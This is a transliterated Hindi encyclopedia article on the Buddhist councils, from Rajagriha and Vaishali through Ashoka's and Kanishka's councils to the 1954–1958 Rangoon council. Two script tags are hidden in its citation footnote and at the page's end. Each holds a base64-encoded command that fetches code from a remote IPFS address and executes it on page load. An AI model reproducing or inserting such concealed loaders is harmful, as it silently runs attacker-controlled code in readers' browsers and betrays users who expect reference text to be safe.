बौद्ध परिषद
bauddh parishad buddh ki mrityu ke pashchath ki shatabdiyoan mean svikrit dharm granthoan ki vishay-vastu ke vachan aur saiddhaantik matabhed door karane ke lie bulaee gee sabhaoan mean se ek. parishadoan ki aitihasikata ke bare mean vishvaniy praman bahut kam haian aur in sabhi parishadoan ko sabhi paranparaoan ke anuyayi manyata nahian dete. kabhi-kabhi ye parishadean bauddh samuday mean matabhed ka karan bhi banian.
pratham parishad
mana jata hai ki gautam buddh ki mrityu ke bad ki pratham varsha rritu mean is tarah ki sabha sabase pahale rajagrih (adhunik rajagir, bihar) mean huee thi. buddh dvara pratipadit 'vinay'[1] niyamoan ka sangrah varishth upali ke nirdeshan mean hua aur sootroan[2] ka sangrah anuyayi anand ke nirdeshan mean kiya gaya. kiantu bahut-se vidvanh rajagrih mean sabha ayojit hone ka khandan karate haian.[3]
dvitiy parishad
doosari sabha buddh ki mrityu ke ek shatabdi se kuchh bad vaishali, bihar mean bulaee gee. lagabhag sabhi vidvanh manate haian ki yah sabha ek aitihasik ghatana thi. yah sabha vaishali ke bhikshuoan dvara apanae ja rahe anushasan ke udar niyamoan se ju de vivad ko sulajhane ke lie bulaee gee thi. shrilanka ke theravad[4] paranpara ke anusar, bhikshuoan ki yah sabha do vicharadharaoan ke bich banti huee thi-
- ek ve, jo vaishali bhikshuoan ke udar anushasan ke samarthak the
- doosare ve, jo isaka virodh kar rahe the
parishad ke adhikatar sadasyoan ne vaishali ke niyamoan ke virodh mean mat diya aur is karan parajit alpasankhyak mikshu parishad se alag ho ge aur unhoanne 'mahasanghika' shakha ki sthapana ki. parishad ke vividh varnanoan mean bhikshuoan ke das vivadaspad vyavaharoan ki soochi mean mataantar hai, lekin lagata hai ki ye namak sangrah, nirdharit samay ke bad khane ya bhiksha lene, shikshak ke vyavahar ka anukaran karane aur bhikshu ke roop mean sona aur chaandi svikarane jaise prashnoan se ju de the. mahasanghika aur theravadiyoan ke bich vivad ke varnanoan se arhat ke svaroop (prakriti) par uthe saiddhaantik matabhed bhi mahattvapoorn ho jate haian. shodh adhyayanoan se pata chalata hai ki parishad ka theravadi byora sanbhavat: galat hai, yoan sabhi bauddh paranparaoan ke byoroan ko lekar asahamati hai.[3]
tritiy parishad
tisari parishad samrat ashok ke samay lagabhag 247 ee. poo. rajadhani pataliputr (vartaman patana, bihar) mean huee, jo sanbhavat: keval theravadiyoan ki sabha banakar rah gee. us samay tak upasak, math ke anushasan ki alag-alag vyakhya karate hue vibhinn matoan aur upamatoan mean bant chuke the; isalie vibhinn matoan ke bhikshukoan ke lie pakshik 'uposath' samaroh sanyukt roop se kar pana kathin ho gaya tha. kyoanki isake lie bhikshu ko kisi niyam ka ullanghan hone par usaka poorv-svikar avashyak tha. ho sakata hai isi kathinaee ki vajah se shayad tisari parishad ki baithak bulae jane ki avashyakata p di. aise bauddh bhikshu, jo svayan ko vibhajyavadi[5] ghoshit nahian kar pae the, is sabha se nirvasit kar die ge. 'abhidhammapitak'[6] ki paanchavi pustak mean tisari parishad dvara vidharmi thaharae ge bhikshuoan ke vicharoan ka parikshan aur khandan shamil hai.
'sarvastivad'[7] mat ke aitihasik abhilekhoan mean ashok ki parishad ka koee ullekh nahian hai, jise inamean tisari parishad kaha gaya hai aur jisake bare mean theravadi maun haian. inake anusar yah parishad kushan shasak kanishk ke samay mean jalandhar (panjab) ya kuchh any sootroan ke anusar kashmir mean bulaee gee thi. kanishk ke shasanakal ki tithiyoan ki anishchitata se parishad ki tithi nirdharit karana bhi utana hi kathin hai. kiantu lagata hai ki yah lagabhag 100 ee. mean huee thi. jane-mane vidvanh vasumitr ko is parishad ka adhyaksh banaya gaya tha aur ek paranpara ke anusar, unhian ke nirdeshan mean dharmik granthoan ke bhashy likhe ge the tatha unaki pratilipiyaan stoopoan mean rakhi gee thian.[3]
adhunik kal mean ayojan
adhunik kal mean chhathi ullekhaniy bauddh parishad ka ayojan gautam buddh ki 2500vian[8] puny tithi ke avasar par mee, 1954 se mee, 1958 ke bich yaangoon (rangoon) mean kiya gaya tha. is baithak mean myaanmar (barma), bharat, shrilanka, nepal, kanbodiya, thailaiand, laos aur pakistan ke bhikshu-samooh dvara samast pali theravad vidhi granthoan ki samiksha tatha path kiya gaya.
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tika tippani aur sandarbh
- ↑ bhikshu anushasan
- ↑ nirdeshi paribhashaoan
- ↑ 3.0 3.1 3.2 bharat jnanakosh, khand-4 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 88 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ poorvaj ka marg
- ↑ 'vishleshan siddhaant' ke anuyayi, sanbhavat: theravadi
- ↑ vidvata ka pitara; theravad vidhi ka ek aang
- ↑ siddhaant, ki sab yatharth hai
- ↑ theravad itihas ke anusar
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>